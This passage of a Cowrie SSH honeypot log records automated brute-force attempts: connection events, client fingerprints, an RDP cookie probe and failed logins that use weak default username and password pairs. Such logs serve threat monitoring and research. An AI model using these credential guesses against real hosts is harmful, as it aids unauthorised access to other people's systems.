],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:50.536472Z","src_ip":"176.65.139.103","session":"e7de40bc28b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:50.857832Z","src_ip":"176.65.139.103","session":"e7de40bc28b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:52.001730Z","src_ip":"176.65.139.103","session":"e7de40bc28b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42900,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2fed9bcb6a0","protocol":"ssh","message":"New connection: 176.65.139.103:42900 (10.17.0.5:22) [session: e2fed9bcb6a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:57.762373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:57.767443Z","src_ip":"176.65.139.103","session":"e2fed9bcb6a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:57.862246Z","src_ip":"176.65.139.103","session":"e2fed9bcb6a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:58.109655Z","src_ip":"176.65.139.103","session":"e2fed9bcb6a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:59.229824Z","src_ip":"176.65.139.103","session":"e2fed9bcb6a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36322,"dst_ip":"10.17.0.5","dst_port":22,"session":"32ad31192bf1","protocol":"ssh","message":"New connection: 176.65.139.103:36322 (10.17.0.5:22) [session: 32ad31192bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:04.379533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:04.384278Z","src_ip":"176.65.139.103","session":"32ad31192bf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:04.466997Z","src_ip":"176.65.139.103","session":"32ad31192bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:04.726802Z","src_ip":"176.65.139.103","session":"32ad31192bf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:05.930086Z","src_ip":"176.65.139.103","session":"32ad31192bf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36332,"dst_ip":"10.17.0.5","dst_port":22,"session":"e78e832ec4bc","protocol":"ssh","message":"New connection: 176.65.139.103:36332 (10.17.0.5:22) [session: e78e832ec4bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:11.722321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:11.745141Z","src_ip":"176.65.139.103","session":"e78e832ec4bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:11.807948Z","src_ip":"176.65.139.103","session":"e78e832ec4bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:12.245647Z","src_ip":"176.65.139.103","session":"e78e832ec4bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:13.330792Z","src_ip":"176.65.139.103","session":"e78e832ec4bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44934,"dst_ip":"10.17.0.5","dst_port":22,"session":"c07a45ba0de9","protocol":"ssh","message":"New connection: 176.65.139.103:44934 (10.17.0.5:22) [session: c07a45ba0de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:19.101775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:19.112669Z","src_ip":"176.65.139.103","session":"c07a45ba0de9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:19.185354Z","src_ip":"176.65.139.103","session":"c07a45ba0de9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:19.582768Z","src_ip":"176.65.139.103","session":"c07a45ba0de9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":58098,"dst_ip":"159.203.135.109","dst_port":22,"session":"453125d6b682","protocol":"ssh","message":"New connection: 103.149.252.223:58098 (159.203.135.109:22) [session: 453125d6b682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:20.613111Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:20.618043Z","src_ip":"103.149.252.223","session":"453125d6b682","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:20.621766Z","src_ip":"103.149.252.223","session":"453125d6b682","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:20.675953Z","src_ip":"176.65.139.103","session":"c07a45ba0de9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55482,"dst_ip":"10.17.0.5","dst_port":22,"session":"3180ada7da3a","protocol":"ssh","message":"New connection: 176.65.139.103:55482 (10.17.0.5:22) [session: 3180ada7da3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:25.862916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:25.872076Z","src_ip":"176.65.139.103","session":"3180ada7da3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:25.953701Z","src_ip":"176.65.139.103","session":"3180ada7da3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:26.313192Z","src_ip":"176.65.139.103","session":"3180ada7da3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:27.506749Z","src_ip":"176.65.139.103","session":"3180ada7da3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36842,"dst_ip":"159.203.135.109","dst_port":22,"session":"5901aaec51dd","protocol":"ssh","message":"New connection: 159.203.92.129:36842 (159.203.135.109:22) [session: 5901aaec51dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:27.841552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:27.847300Z","src_ip":"159.203.92.129","session":"5901aaec51dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:27.852130Z","src_ip":"159.203.92.129","session":"5901aaec51dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1q2w#E","message":"login attempt [ansible/1q2w#E] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:27.863955Z","src_ip":"159.203.92.129","session":"5901aaec51dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:28.878248Z","src_ip":"159.203.92.129","session":"5901aaec51dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":56474,"dst_ip":"10.17.0.5","dst_port":22,"session":"d141baddc344","protocol":"ssh","message":"New connection: 176.65.139.103:56474 (10.17.0.5:22) [session: d141baddc344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:33.176220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:33.182768Z","src_ip":"176.65.139.103","session":"d141baddc344","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:33.284280Z","src_ip":"176.65.139.103","session":"d141baddc344","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:33.540489Z","src_ip":"176.65.139.103","session":"d141baddc344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:34.729939Z","src_ip":"176.65.139.103","session":"d141baddc344","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":56496,"dst_ip":"10.17.0.5","dst_port":22,"session":"b91e8b3c95a1","protocol":"ssh","message":"New connection: 176.65.139.103:56496 (10.17.0.5:22) [session: b91e8b3c95a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:39.797074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:39.807292Z","src_ip":"176.65.139.103","session":"b91e8b3c95a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 